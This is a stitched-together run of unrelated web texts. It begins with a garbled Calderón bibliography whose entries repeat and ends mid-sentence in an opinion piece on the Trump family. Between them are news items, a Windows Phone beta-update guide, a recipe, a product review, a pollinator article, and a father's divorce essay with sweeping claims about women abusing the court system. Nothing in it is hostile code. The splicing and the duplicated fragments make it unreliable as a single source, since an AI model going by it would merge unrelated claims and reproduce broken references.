Iberoamericana; Veuvuert, 2001.  . Ed. Facs. Ignacio Arellano y Juan Manuel Escudero. Biblioteca Áurea Hispánica. Madrid;Frankfurt: Iberoamericana; Veuvuert, 2001. Cruickshank, Don W. "Calderón and the Spanish Book trade." Bibliographisches Handbuch der Calderón-Forschung / Manual Bibliográfico Calderoniano . Eds Kurt y Roswitha Reichenberger. Tomo III. Kassel: Verlag Thiele & Schwarz, 1981. 9–15.  . Eds Kurt y Roswitha Reichenberger. Tomo III. Kassel: Verlag Thiele & Schwarz, 1981. 9–15. Greer, Margaret Rich. The Play of Power: Mythological Court Dramas of Calderón de la Barca . Princeton, N.J.: Princeton UP, 1991.  . Princeton, N.J.: Princeton UP, 1991. Muratta Bunsen, Eduardo. "Los topoi escépticos en la dramaturgia calderoniana". Rumbos del Hispanismo , Ed. Debora Vaccari, Roma, Bagatto, 2012. 185–192. ISBN 9788878061972  , Ed. Debora Vaccari, Roma, Bagatto, 2012. 185–192. ISBN 9788878061972 Parker, Alexander Augustine. The Allegorical Drama of Calderon, an introduction to the Autos sacramentales . Oxford, Dolphin Book, 1968.  . Oxford, Dolphin Book, 1968. Regalado, Antonio. "Sobre Calderón y la modernidad." Estudios sobre Calderón . Ed. Javier Aparicio Maydeu. Tomo I. Clásicos Críticos. Madrid: Istmo, 2000. 39–70.  . Ed. Javier Aparicio Maydeu. Tomo I. Clásicos Críticos. Madrid: Istmo, 2000. 39–70. Kurt & Roswitha Reichenberger: "Bibliographisches Handbuch der Calderón-Forschung /Manual bibliográfico calderoniano (I): Die Calderón-Texte und ihre Überlieferung". Kassel, Edition Reichenberger 1979. ISBN 3-87816-023-2  ISBN 3-87816-023-2 Kurt & Roswitha Reichenberger: "Bibliographisches Handbuch der Calderón-Forschung /Manual bibliográfico calderoniano (II, i): Sekundärliteratur zu Calderón 1679–1979: Allgemeines und "comedias". Estudios críticos sobre Calderón 1679–1979: Generalidades y comedias". Kassel, Edition Reichenberger 1999. ISBN 3-931887-74-X  ISBN 3-931887-74-X Kurt & Roswitha Reichenberger: "Bibliographisches Handbuch der Calderón-Forschung /Manual bibliográfico calderoniano (II, ii):Sekundärliteratur zu Calderón 1679–1979: Fronleichnamsspiele, Zwischenspiele und Zuschreibungen. Estudios críticos sobre Calderón 1679–1979: Autos sacramentales, obras cortas y obras supuestas". Kassel, Edition Reichenberger 2003. ISBN 3-935004-92-3  ISBN 3-935004-92-3 Kurt & Roswitha Reichenberger: "Bibliographisches Handbuch der Calderón-Forschung /Manual bibliográfico calderoniano (III):Bibliographische Beschreibung der frühen Drucke". Kassel, Edition Reichenberger 1981. ISBN 3-87816-038-0  ISBN 3-87816-038-0 Rodríguez, Evangelina y Antonio Tordera. Calderón y la obra corta dramática del siglo XVII . London: Tamesis, 1983.  . London: Tamesis, 1983. Ruano de la Haza, José M. "La Comedia y lo Cómico." Del horror a la Risa / los géneros dramáticos clásicos . Kassel: Edition Reichenberger, 1994. 269–285.  . Kassel: Edition Reichenberger, 1994. 269–285. Ruiz-Ramón, Francisco Calderón y la tragedia . Madrid: Alhambra, 1984.  . Madrid: Alhambra, 1984. Roger Ordono, "Conscience de rôle dans Le Grand Théâtre du monde de Calderón de la Barca", Le Cercle Herméneutique, n°18 – 19, La Kédia. Gravité, soin, souci, sous la direction de G.Charbonneau, Argenteuil, 2012. ISSN 1762-4371  References [ edit ]  Attribution  Sources [ edit ]  Corrections have been made to biographical information using  Cotarelo y Mori, D. Emilio. Ensayo sobre la vida y obras de D. Pedro Calderón de la Barca. Ed. Facs. Ignacio Arellano y Juan Manuel Escudero. Biblioteca Áurea Hispánica. Madrid;Frankfurt: Iberoamericana; Veuvuert, 2001.  The style section uses the following bibliographical information
-As you know, lichess is built and run by a vibrant community of chess lovers. Some are coding the site itself, some are catching cheaters, some keep the servers up and scaling; and these two guys, veloce and freefal, are doing wonders with the mobile app.  So what's new since the previous mobile app review?  Play tournaments  You have been requesting that for a while, and I didn't think it was possible.  Well, the amazing mobile app developers proved me wrong. The always-popular lichess arena tournaments are now playable on the mobile app! Leaderboards, win streaks, berserks: it's all there, same as or even better than the website.  Native Stockfish 7  The best chess engine is now powering the lichess mobile app. It's up to date and it runs native code optimized for your phone. That means faster and stronger analysis, and lower battery consumption. We used a weaker JavaScript port of Stockfish before; now you can face the real final boss of mobile chess.  Use it as an offline opponent (get ready for a tough challenge!) and to analyse your games. Stockfish provides a position evaluation in centipawns, and best move recommendations. Props to srenault for the help with this feature!  Board editor  Set up any position and play it with Stockfish or a friend, online or offline.  Note that all variants are now playable offline.  And more!  The mobile app is catching up on the website to provide a complete and powerful chess experience.  We added:  Player rating stats (screenshot above)  Timeline of your friends' chess activity  Puzzle of the day  Search and challenge users  Support for Kid mode  All free and available now for Android and iOS  You know the drill: lichess is free, without any ads, and open source. So is the app.  So enjoy the new mobile app, and may your army always find its way to your opponent's king.
-West Bromwich Albion have sacked Tony Pulis – the manager who has never been relegated - and are targeting an experienced replacement to help secure Premier League survival.  Pulis was dismissed on Monday morning after talks with chairman John Williams as the strugglers took action following a torrid run of two wins from 21 games, stretching back to last season.  He becomes the fifth top-flight casualty of the campaign after a decision which has polarised opinion outside of the Black Country, due to his record of never suffering the drop in over 1,000 games as a manager.  Albion feel they were left with no alternative but to wield the axe as a result of the disenchantment from supporters over Pulis’ defensive style of play and tactics, combined with results and a highly-paid underperforming squad.  West Brom were thrashed 4-0 by champions Chelsea on Saturday - their 11th game without a win - and Pulis endured chants for his dismissal from fans, with owner Guochuan Lai also making a rare visit to the Hawthorns.  Williams and Lai discussed their next move on Sunday and Pulis has paid the price, six weeks before his three-year anniversary, with the club already on the hunt for a successor ahead of Saturday's game against Tottenham Hotspur.
-Get the Mango update now. Without being a developer.  Posted on 07-04-11 09:38 am  A little birdie gave this to us this morning. It was evident that Microsoft's releasing of Mango would lead to leaks, such as the one over at XDA Developers. Unfortunately, these leaks required the users to already be developer unlocked, which more or less took the point out of it. Thankfully, a solution is now available.  This tool will run the UpdateWP.exe file to provision your device to receive beta updates. It requires the Windows Phone Support Tools to be installed, and your device needs to be updated to NoDo or beyond. It, however, does not require a developer unlock. Simply download the file, connect your phone, run the batch file, and it should take care of the rest. After it's done, fire up Zune, and you'll be prompted to install the beta.  Keep in mind this tool does not backup your phone, so you might want to use this tool to backup your phone. Other than that, well, we're told you should enjoy.  Please note we are not responsible for any damage caused to your device, in trouble in get into, etc. Do it at your own risk. It hasn't been fully tested, so you may run into some issues. Let us know in the comments if you have issues and we'll try to help.  Updating to Mango  Requirements: Windows Phone Support Tool, Zune  Download the tool 64bit) Make sure Windows Phone Support Tool is installed ( 32bit Connect your phone to your computer Run the tool and follow on-screen instructions  Update: Version 0.2 of the tool will automatically backup your device, copy the backup to a safe place, and provides an option to automatically roll back to NoDo.  Download: here. (Please do not hotlink this file, link to us instead. Thanks.)  Before running update.bat, make sure you have the stock version of Zune installed. There are 2 updates to install (not including update.bat's update). If you have a URI error, run update.bat from the command line.  If you would like to thank us, please feel free to Subscribe to our Youtube channel. ;)  Notes: (Thanks WWPX)  A. Close Zune program before executing Update.bat. Otherwise, Update.bat only copies the old Zune backups to C:\PreMangoState and doesn't touch the phone at all (because Zune already own the connection to the phone). One warning message scrolls by too fast for anyone to catch this problem.  B. Make sure you have enough disk space in C: drive because Update.bat copies the old backups in there. For me, they were NoDo and pre-NoDo backups which consumed 4GB. I had about 8GB left so it was a close call. I could have lost my NoDo backup if I had less than 4GB left on my C drive.  Restoring NoDo  You must restore NoDo before the Mango update is released, according to Microsoft. This applies to everyone, including registered developers.  To restore NoDo, run the Restore.bat file. Alternatively, the updated version provides a readme.txt file for manual restoring instructions.  For the techies  If you'd rather provision your phone yourself, here's the info you need:  [HKEYLOCALMACHINE\Software\Microsoft\Windows\DeviceUpdate\Agent\Protocol]  "TestTarget"="15c00000-0003-0001-c0d4-m4a1f005ba11"  [HKEYLOCALMACHINE\Software\Microsoft\Windows\DeviceUpdate\Agent\Settings]  "GuidOfCategoryToScan"="0fdd4743-cba1-4a2b-af7c-5af9fd93951a"  Good luck, and let us know what happens in the comments.
-In a new PSA, Chicago Bears wide receiver Brandon Marshall discusses his experience with mental illness, as well as the social stigma around mental health — especially for men.  Marshall entered the NFL in 2006. His first few years in the league were riddled with arrests and violence. However, in 2011, he was diagnosed with Borderline Personality Disorder (BPD), a mental illness characterized by a persistent instability of emotions, relationships and behaviors. He has since become an advocate for awareness around mental illness.  In the video above — a partnership between Marshall’s Project 375 and Glenn Close’s non-profit organization Bring Change 2 Mind — Marshall talks about how he thought about mental health before his diagnosis.  “Before I was at MacLean hospital, if someone had said mental health to me, the first thing that came to mind was mental toughness, masking pain, hiding, keeping it in … that’s what was embedded in me since I was a kid. You know, never show a sign of weakness. And it’s funny, because now I know it’s the total opposite. It’s being able to have the strength to pick up the phone and ask someone for help.”  The campaign also includes a 30-second PSA, featuring Marshall, as well as Edmonton Oilers goalie Ben Scrivens, Passion Pit frontman Michael Angelakos and actor Wayne Brady. Check it out, below.  (Thanks to Sports Illustrated for bringing this to our attention.)
-Indian Roasted Corn on the cob – Street style Butta or Bhutta Recipe with lime juice, red chili powder, ground cumin and chaat masala. Easy BBQ side. Summer corn recipe.  Jump to Recipe  MY LATEST VIDEOS  Masala Butta or Spiced fire roasted corn on the cob is a favorite street snack in India when corn is in season. Street vendors roast the corn on coal fire or open grill, use a lime to rub in the Indian spices and serve it hot. People can be seen walking around with the corn in hand.  The spices can range from just salt + cayenne/red chili powder, to one or all of the following spice additions like ground cumin, chaat masala (recipe can also be found in my book), kala namak (Indian black salt) or Amchur (dry mango powder). Or rub Mint cilantro chutney all over! Try this favorite spiced corn for Labor day!  In the below picture, the front corn has been rubbed with the spices.  More Indian Potluck or Barbecue Snacks/side
-Have you been having trouble casting videos or other content to your Chromecast or Android TV device lately? You're not alone - we've been getting tips for the last day from all over the Android world about casting failures, and based on threads on Reddit, XDA, Google's support forums, and even NVIDIA's SHIELD forums, the issue has been affecting hundreds and possibly thousands of people. Various culprits have been suspected, from a recent Marshmallow update for the Nexus Player to compatibility tweaks for the new Chromecast model. According to a Reddit user claiming to be a member of Google's Cast on Android TV team, it isn't either of those.  Luckily there's a quick solution, at least for Android TV users: just install the latest version of the Cast Receiver app to fix it. Updated APKs for both standard ARM devices and x86 hardware (Nexus Player) have been posted to the Play Store. You might not see the new version of the app right away thanks to Google's usual staggered release, but civic-minded users of our sister site APK Mirror have already posted both of them for others to manually download. You should see casting return to normal after the update. Of course there's no way to manually update a Chromecast, but we're expecting to see an automatic update come for both the old and new versions very soon.  Here are the downloads, ARM followed by x86 - you only need the x86 download if you're on the Nexus Player. If you've never installed an Android TV APK manually before, download ES File Explorer from the Play Store. It's compatible with Android TV and includes a cloud storage tool for Google Drive and Dropbox.  Download (ARM)  The APK is signed by Google and upgrades your existing app. The cryptographic signature guarantees that the file is safe to install and was not tampered with in any way. Rather than wait for Google to push this download to your devices, which can take days, download and install it just like any other APK.  File Name: com.google.android.apps.mediashell_1.16.45911-459111_minAPI21(armeabi-v7a)(nodpi).apk  Version: 1.16.45911 (459111)  MD5: d53d6ad55a8ce1c67f8eb184be8a4ce4  Download (x86)  The APK is signed by Google and upgrades your existing app. The cryptographic signature guarantees that the file is safe to install and was not tampered with in any way. Rather than wait for Google to push this download to your devices, which can take days, download and install it just like any other APK.  File Name: com.google.android.apps.mediashell_1.16.45911-459112_minAPI21(x86)(nodpi).apk  Version: 1.16.45911 (459112)  MD5: 0b9434cd5c101d6ac307bc7a44e3b9eb
-Insignia is the in-house Best Buy brand. I bought this monitor to replace an old CRT monitor. It's not flashy but so far its getting the job done. I had bought a Dell monitor similar to it and found that this Insignia was better in the fact that it has ports for DVI, HDMI, VGA and a headphone jack (all located at the bottom and behind the monitor). *Remember DVI cables carry audio if you want to use the head phone jack. There are no speakers (that I know of on the monitor and no place to mount a speaker bar). The Dell monitor had left off the DVI port while Insignia got this right. Boo on Dell for that! The Dell monitor's base was a little more solid than the Insignia. The Insignia does wiggle around a little if your desk is not solid enough and you bump the desk. The image quality shows the colors are off a little if you are not looking directly right at it. The max resolution on this monitor is about average for an economical purchased. I will be using it for Microsoft office, web surfing and watching some Netflix. I have this hooked up to two computers using a KVM switch. Each of the PCs are Windows 7 and 8.1. There was no software CD to install drivers, I just used the drivers that Microsoft installed during installation. Buttons are directly on the front. Actually scratch the word button it is just a touch to the area the buttons would be at. The power light at the front does go off when you shut it down. The Insignia logo comes up for a second or two on the screen before you can use the monitor. I've had this up and running for a couple of weeks now since this review. So... so far I am satisfied with my buy.  Read more
-Primal Scream's new album Chaosmosis is out March 18 via First International/Ignition. Sky Ferreira duets with Bobby Gillespie on the album's lead single, "Where the Light Gets In." Below, watch the video. "Where the Light Gets In" was produced by Gillespie, Andrew Innes, and Peter Bjorn and John's Bjorn Yttling.  Even more special guests have also been revealed for Chaosmosis. Haim appear on "100% or Nothing" and "Trippin' on Your Love," and Rachel Zeffira from Cat's Eyes is featured on "Private Wars."  Find Primal Scream's tour dates below.  Read our interview with Ferreira and our "5-10-15-20" with Gillespie.  Embedded content is unavailable.  Primal Scream:  03-29 Aberdeen, Scotland - Beach Ballroom  03-30 Glasgow, Scotland - O2 ABC Glasgow  04-01 London, England - Palladium  04-02 Manchester, England - Albert Hall  05-28 Southampton, England - Common People  05-29 Oxford, England - Common People  07-24 Huntingdon, England - Secret Garden Party  08-13 Durham, England - Down to the Woods
-According to the U.N. Food and Agriculture Organization (FAO), approximately 80 percent of all flowering plant species reproduce with the help of pollinator animals like bees, butterflies, birds, and more. This accounts for at least one third of the world’s food crops, including tomatoes, pepper, strawberries, coffee, apples, carrots, almonds, cocoa, and thousands of others.  Without pollinators, most plants could not produce fruits and seeds, and agricultural biodiversity would suffer--according to FAO, bees, bats, birds, and other pollinators, increase global food production by 87 percent. Unfortunately, the world is seeing a decline in pollinator populations. From land-use change and pesticide use to monoculture agriculture and climate change, there are numerous threats to pollinator populations.  That’s why gardeners, farmers, governments, and companies are finding innovative ways to protect wild pollinators and improve cultivation of commercial pollinators.  Last year, Australian father and son Stuart and Cedar Anderson invented a new bee hive design that allows beekeepers to harvest honey without disturbing bees. The Honey Flow is uniquely designed with a partial honeycomb frame and a specialized built-in tap that carefully extracts the honey and allows it to drain directly out of the hive, leaving the bees to continue their work.  This method is easier and safer for amateur beekeepers, but it is also a much less stressful method of honey collection for bees. Excess stress on bee colonies can make them more vulnerable to disease. The simple hive can also help attract more small-scale hobby beekeepers instead of large-scale commercial apiaries. Independent hives can boost local crop fertilization and improve genetic diversity of bees by reducing the chance of mites or viruses spreading between colonies in close proximity.  In The Gambia, an organization called BEECause is working to reverse the decline of bee populations. BEECause has trained hundreds of people to keep bees and make beeswax products, and their Bees for Trees program establishes self-supporting bee reserves in community-managed sustainable forests.  The European Union has made sweeping changes to protect bees from toxic insecticides. In 2012, the European Food Safety Authority assessed the effects of several neonicotinoids on bee populations. They subsequently banned the use these pesticides in agriculture.  In Latin America, the Mexican NGO Pronatura is working to preserve wild and cultivated plant species that feed bees. They work with local producers in these efforts, and they also carry out conservation projects such as restoring wild forests and protecting mangroves and other ecosystems.  Urban beekeeping is becoming more popular across the world. In Japan, the Ginza Honeybee Project relies on volunteers to harvest honey from rooftop hives in the Ginza district of Tokyo. The organization also lobbies to increase the planting of nectar-rich flowers in the city. And hives are also a teaching tool for elementary school students who take field trips to see the bees in action. The honey is used by local bakeries, hotels, bars, and other companies.  Get the Monitor Stories you care about delivered to your inbox. By signing up, you agree to our Privacy Policy  Promoting pollinator health is an issue of global importance, but individuals have the power to help in small ways in backyards or community spaces. Here are four things you can do to attract and protect pollinators, according to the U.S. Forest Service.  Plant native species. Pollinators have evolved alongside native plants, so they are best adapted to feed on these species. Non-native plants often don’t have enough nectar or pollen. As an added bonus, native plants typically require less water, so they are easier for gardeners to maintain. When choosing species, opt for a diverse selection of plants with different flowering times so that flowers are blooming throughout the growing season, rather than all at once. Consult native plant guides in your region to determine which plant species attract certain types of pollinators. Avoid the use of chemicals. Many pesticides, herbicides, and fungicides are harmful to pollinator species. Use compost as a natural fertilizer, weed by hand, and look for non-chemical treatment methods to take care of pest infestations. Provide a welcoming environment. When planting your garden, arrange each species in large patches so that pollinators can forage more efficiently. Avoid the use of weed cloth or heavy mulch, as many native bee species nest underground. Provide habitat for pollinators by making piles of branches to attach chrysalises or cocoons. Leave stumps, rotting logs, and fallen organic material for nesting bees. Let dead or dying trees remain standing for woodpeckers. Educate your community. Share what you know about pollinator health and encourage schools, businesses, and public parks to make their green spaces pollinator-friendly.  This article first appeared at Food Tank.
-When people ask me how can I be divorced with two children and pay no child support, I tell them I took a cue from Nancy Reagan; I “just said no.”  I took the road less traveled. One that more men should be allowed to travel.  For the past 13 years, I have been fortunate to be a full-time musician. Since the time of our daughter’s birth in 2003, I was at home with her during the day and working at night. Three years before my marriage ended, my wife and I agreed to switch roles. In order to make this arrangement work, I was extremely ambitious and found a way to work a 9-5 job as well as teach, perform in an Off-Broadway show and perform in weddings and corporate events. I paid all the bills while she took care of our daughter.  After two years of trying to fit back into the corporate world, I noticed a lack of communication between my wife and I. My focus was on our family; her attention appeared to be on the social calendar. My frustration with what seemed to be a lop-sided allocation of duties in our home-made for several stress filled months. Not only was I the sole breadwinner, I took care of many of the duties at home. The birth of our second child only intensified the tension in our home.  Working a full time job, gigs and doing much of the house work burnt me out so I quit my corporate job. Meanwhile my wife was unwilling to continue the therapy sessions we’d set up to find a way to repair our marriage. She hired an attorney and filed for divorce.  Our custody battle began in Family Court. During our first hearing, I received a court order for spousal support, which stated I was to continue paying all the bills until our case went to Supreme Court. On top of paying the household expenses, I had to pay my ex an additional $500 cash each month. I was furious. I questioned why I was responsible for everything and my wife was only responsible for being with the children.  Soon after filing, my wife began using the children as pawns. She filled the kid’s day with play dates, and after one of our many heated arguments, took the kids to her mother’s home in another state for two weeks so I could not see them. In addition to the attempts at alienating me from my children, my wife called the police after several arguments in futile attempts to have me vacate the marital residence and be thrown in jail. Luckily for me she was never psychotic enough to hurt herself or abuse the criminal justice system’s bias against men.  When our case was transferred to New York State Supreme Court, things began to change. A few months into our dispute I received an unlikely source of inspiration. My family had given me a father’s day gift certificate to a men’s spa. Here is where I received life-changing advice from a female staff member who’d gone through a divorce several years before. She and her former spouse had mutually agreed that their son be raised by his father. She informed me that in New York State, couples had the option to “opt out” of paying child support upon dissolution of marriage. I immediately called my attorney and told him I wanted to do just that: opt out.  I must acknowledge one piece of the puzzle that gave me a slight advantage that no one has today. At the time of my lawsuit, New York was the last state who hadn’t adopted no-fault laws. This gave me leverage that no one can use in court today. Now, everyone is at the mercy of their spouse and can’t contest their divorce. In fact, most people have no idea that your spouse can file for divorce for any reason and not have to prove why they want out of the marriage. This is a real disadvantage for the monied spouse in my state because the custodial parent gains an advantage with the child support guidelines. The spouse who makes more money is ordered to pay the non-custodial parent.  At the time, my attorney and I decided to contest my ex’s grounds for divorce. We were willing to compel her to tell the truth under oath. My ex would have perjured herself in court since there were several inconsistencies in her sworn deposition. Her attorney decided it would be unwise for her to proceed in that manner. This was the turning point that forced a settlement.  After 11 months in and out of court, we agreed that my parenting time would take place during the day; hers at night and that no one would pay child support. I wouldn’t have it any other way. I walked out of the courtroom secure in the knowledge that I could financially support our two children in a way that made much more sense to me. I did not succumb to the societal pressure to pay an ex-wife, child or spousal support because men have historically done so.  I’m not sure many men have the testicular fortitude to endure the pain it takes to achieve this goal today. Particularly since the avenue I pursued is now closed off to men in the family court’s crusade against fatherhood. I certainly thought of giving up but never did. I was also determined to get the court to understand the seriousness of my desire to be a fully committed parent and I was willing to go through the financial expense of seeing it through.  During my custody battle, I came to a deeper understanding how the courts system works and how the law applied in my particular case. I persevered by demonstrating that I was rational, reasonable, and always focused on the best interest of my children. Instead of relying solely on my attorney’s advice and historical precedent, I saw the bigger picture and thought long term.  I used several tactics to my advantage. I never left or was forced out of our marital residence, I managed to avoid physical altercations by keeping my emotions in check as much as possible, avoided being taken to jail by the NYPD by calmly explaining my side of the story and kept my focus by remaining totally devoted to my two children. I always took the high road and never talked badly about my ex to our children, no matter how tempting. I still don’t-she is the mother of our kids. They love her just as much as they love me.  I know all too well the stories of men who get taken advantage of by unscrupulous attorneys who don’t offer alternatives and other potential options their clients can pursue. State ordered child support should only be enforced when a spouse chooses to abdicate the responsibility of raising their children. There is no excuse for a parent to abandon their children. In my subsequent research, I have discovered that many fathers do not want to leave their children. Many times they are FORCED out.  Mandatory arrests laws that were written to protect women over the years have often been abused and are at times used to force fathers from the home straight into jail. This, in conjunction with punitive child support orders and the threat of imprisonment if it isn’t paid have been just a few of the reasons for the increase of widespread fatherlessness over the past 40 years.  The threat of divorce, child support orders or jail should ever stop a devoted father from having a healthy relationship with his children. No one should have the right to deny that important relationship unless there are serious criminal matters and there is due process.  Today it seems that many women intentionally abuse a system that was set up in the 1950’s and 1960’s to assist with the necessary expenses of child rearing for children that both parents gave consent to have. Now that women have joined the workforce in unprecedented numbers–and birth control frees them from the constraints they were otherwise under–it makes little sense to keep men stuck back in an era that has long passed. Women don’t want to go back to that era-men don’t either. If times have progressed for women, why are men forced to stay in the past?  I have seen many cases where spousal and/or child support is automatically assumed to be part of divorce even though it may be unwarranted, and most attorneys don’t even discuss potential options for their clients. I truly feel that men who desire to be a part of their children’s lives need not pay their future ex-wife at all.  My ex wife and I, more often than not, peacefully co-exist without a state ordered child or spousal support. I must emphasize this particular point: if anyone chooses the road I took, it requires a lifelong commitment of taking care of your children – something that unfortunately, most men today are not even given an opportunity to do.  I feel the default option in custody cases should be joint legal and physical custody with no court ordered child support absent a strong reason. Start with a 50/50 split of parenting time with the children. If that can’t happen and money needs to be transferred, the person receiving the funds needs to be held accountable for how the money is being spent. As it stand now, there is no way to account for how the funds are being used for the children.  The more often we keep the filthy claws of state and federal government out of our lives, the better. Once they get in, they never let go. The formation of the family court system, the state and federal offices of child support enforcement and all of the affiliated positions associated with it, has resulted in the creation of a massive state controlled Industry whose sole function is to affect the massive transfer of wealth from the father to the mother. The increase in state intrusion in our personal lives coupled with the culture of entitlement and unreasonable expectations currently embedded in our public consciousness, creates a system that feeds upon itself. It appears that this former government safety net has turned into a spider web. Eventually it will bleed fathers dry and the real victims will be their children.  When there are two loving parents that want to be actively involved in their children’s lives after divorce, there is no need to travel down the expected path of family court and mandatory child and/or spousal support. Women can learn from my story and understand that just because you may no longer love the father of your kids, your children do. Children need their mother AND father. Find a way to stay out of that hell hole they loosely call “Family Court.” I am living proof that there is another way.  For father’s day, give your ex the gift of letting him be a father.
-Senator Hillary Clinton is still struggling to connect with a group she refers to, in a grandmotherly way, as “the young people.”  The Democratic presidential hopeful made ever-so-tiny gains with the college crowd during Thursday night’s Democratic candidate debate — but still lags well behind her opponent, Vermont Sen. Bernie Sanders among millennials, according to data released by Yik Yak.  The social media app, popular on college campuses, has been analyzing the conversations around the presidential debates since last October to gauge shifts in sentiment among its users — 98 percent of whom are millennials.  Yik Yak is careful to note that it isn’t a polling organization like Gallop, American Research Group or Rasmussen Reports. But the volume of conversation around the debates and the 2016 presidential election is sizable enough to reflect the sentiment among its users on college campuses.  “We’re very very confident,” said Marsal Gavalda, Yik Yak’s director of machine learning. “There’s less than 1 percent error in characterization of sentiment.”  That’s not great news for Clinton, who saw her approval rating inch up to nearly 13 percent Thursday among Yik Yak’s college users, from 8 percent during the Feb. 4 MSNBC debate before the New Hampshire primary. Her disapproval rate hovers around 55 percent.  Sanders, meanwhile, burnished his reputation as the big man on campus — a group of voters that polls suggest are looking for independence from the Washington establishment, worrying about climate change and jobs, and seeking relief from crushing student debt.  Yik Yak said Sanders saw his approval rating among users rise to 50 percent, from 46 percent a week earlier.  Voters aged 18 to 29 turned out in big numbers in the New Hampshire primary, matching the record-breaking participation in 2008, according to the Center for Information & Research on Civic Learning and Engagement at Tufts University. Some 43 percent of these millennials voted in the primary, helping to propel Sanders to victory in the Democratic primary (83 percent support), as well as Republican primary winner Donald Trump (37 percent support).  Gavalda said Yik Yak developed its own technology for analyzing the sentiment users express in their conversations (known as Yaks), using a combination of machine learning and human spot-checks to improve accuracy. He declined to describe the sample size beyond noting that it is statistically significant.  Yik Yak is used on more than 2,000 college campuses and some have pegged its user base at around 3.6 million people.  A spokesperson for Clinton did not respond to a request for comment.
-You have to be available 24 hours a day, every day of the year, and be able to collect a dead body within one hour.  Those are some of the terms of an ACT government request for tender to collect and deliver the hundreds of bodies the ACT Coroner must examine annually.  In contrast to the usual hearse ride on the day of a funeral, any windows of vehicles used for moving bodies for the coroner must be opaque. Credit:Andrew Sheargold  Applicants must be a member of a specified funeral directors association or meet the same accreditation, but there are some differences from the service delivered by a standard hearse.  Vehicles – which can't be marked with the business's name – must block any external vision into the body storage area.
-Get the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email  Former Liverpool striker Rickie Lambert reckons his beloved Reds have found 'the one' in manager Jurgen Klopp as the German closes in on his first signing.  Anfield chief executive Ian Ayre travelled to Serbia to conclude a £5million deal for Marko Grujic, 19, who would officially sign in January but then remain at Red Star for the rest of the season.  Klopp has taken a hands-on role in persuading Grujic to turn down interest from Inter and Chelsea and Lambert who returned to Anfield with West Brom for Sunday's 2-2 draw believes that the Reds are on the verge of something special with their new boss.  He said: “If he starts winning and starts getting a run together he will create a frenzy there because I think he is the type of character the Liverpool fans will love.  “I think he could finally be the man.  “He is going to get used to the Premier League a little bit more and be a little bit more frustrated than he was on Sunday - it’s going to happen quite a lot.  “But I think he can be very good at Liverpool, I think he can be the one.”  While Lambert's Baggies team-mate James McClean branded Klopp “an idiot” for the way acted in Sunday's game which included marking Liverpool's late fightback with a salute to the Kop, Lambert, who was speaking after handing over Christmas presents to children at Sandwell General Hospital, understands the Reds boss' passion.  He said: “I have never seen them celebrate like that. He is obviously trying to get momentum and get the fans behind him. And they are, they are right behind him.  “It was a bit strange for me, I have been back a few times now so I am used to it.  “I am just disappointed we didn’t get the win, the last couple of minutes were a bit of a kick in the teeth.”
-While he may have lost his bid for the White House, John McCain did not lose his sense of humor.  “I’ve been sleeping like a baby,” the GOP candidate said on The Tonight Show Tuesday. “I sleep two hours, wake up and cry. Sleep two hours, wake up and cry.”  The Arizona senator’s 14th visit to the show brought a loud and spontaneous ovation from Jay Leno’s special Veteran’s Day audience of U.S. service men and women.  Noting that Americans “don’t like a sore loser,” McCain defended his choice of Sarah Palin as his running mate and of Joe the Plumber as his campaign everyman.  Asked why he thought he lost, he deadpanned: “I think my personality. Or maybe too many people saw me on the Jay Leno show.”  Avoided the Newspaper  On the day after the election, McCain said he and wife Cindy celebrated, if not a political victory, at least their release from the smothering oversight of the Secret Service.  “We got in the car and we went down to get a cup of coffee,” he said. “Not the newspaper though. We knew what it would say.”  McCain called Barack Obama “a good and decent person,” adding, “I salute and admire the Senator, uh, President-elect Obama.”  Leno noted that there seemed to be “two McCains” – one the funny Tonight Show guest and the other a not-so-entertaining presidential candidate.  “Well,” said McCain, “these are tough times. Frankly, I don’t think people wanted a stand-up comic.”  Proud of Sarah Palin  Although some polls – and any number of reports from unnamed “top advisors” – suggest that Palin hurt his candidacy, McCain would hear none of it.  “Nah,” he said. “Sarah Palin and her husband. … I’m so proud of her and very grateful she agreed to run with me. She inspired people and she still does. (She is) among a group of young Republicans who are the next generation of leadership of our party.”  But don’t expect another McCain-Palin ticket.  “In 2012, you’ll be 76,” said Leno.  “I’ll be ready to go again,” McCain joked to cheers. “No, I wouldn’t think so, my friend. It’s been a great experience.”  Who’s your Favorite Star Under 35? PEOPLE.com and the People’s Choice Awards are counting your votes! Click here to vote now!  RELATED GALLERY:  • John McCain has Usher in his iPod!
-Donald Trump's family settles in for the good times  MIKE SEGAR/REUTERS There are shades of The Godfather in how the Trump family permeates the business, the business permeates the presidency and the presidency permeates the family.  Washington: The Trump brain and its fabulous functioning will fascinate researchers long after POTUS 45 leaves the Oval Office. But as he arrives, we can only wonder at where Donald Trump sits on a great American continuum - at one end, sweet innocence and Willy Wonka; at the other, the ethical netherworld of Don Corleone.  There's an element of the Wonka chocolate factory in the crowds that queue around the block at Trump Tower in Manhattan, patient and wide-eyed as they wait to shell out $US100, even $US200, for a swag of hot new presidential memorabilia at the gift kiosk, which is sandwiched between the Trump Ice Cream Parlour and the Trump Grill on the ground floor.  There are little chocolate bricks with "Trump" stamped on their foil wrappings; and sweaters, towels and glassware - all with a discreet Trump monogram. Fans can't leave without a MAGA baseball cap - Make America Great Again. There's even a Trump cologne for men - it's called Success.  JAN KRUGER/GETTY IMAGES There are queues around the block at the Trump Tower gift kiosk for 'Make America Great Again' caps.  But there are shades of The Godfather in how the Trump family permeates the business, the business permeates the presidency and the presidency permeates the family. And in defence of all this, the emerging argument, implied as much as stated, is that the Trumps ought to be trusted to do the right thing - and hiding in plain sight behind that, a dismissive "we don't care if you don't".  So, sons Eric and Donald jnr and daughter Ivanka help to run the executive overseeing Dad's transition to power; but the kids, we were told, were to be taking the running of the business off Dad's hands. The daughter moves seamlessly from Dad's meetings with foreign leaders, to Dad's meetings with foreign business partners.  While the daughter vets would-be cabinet members, her staff tend to an unprecedented new line in presidential product placement. And as a power behind Dad's throne, the daughter's husband, Jared Kushner, wants to be a White House adviser - and despite the obvious nepotism, he'll most likely get the gig, because Dad thinks he's capable of negotiating an Israeli-Palestinian peace deal - after he's purged the transition team of those he suspects as disloyal interlopers.  We had a window into this family-first ethic in son Eric's priorities while commenting to CNN on Mike Pence's performance in the vice-presidential candidate's debate in October: "I really think he represented the family, and I think he represented the party incredibly, incredibly well tonight."  The family firm is booming - as Trump said this week, his stunning victory makes the Trump brand "hotter". The newest property, Trump International Hotel in Washington's old Post Office building, is booked out - and fawning foreign 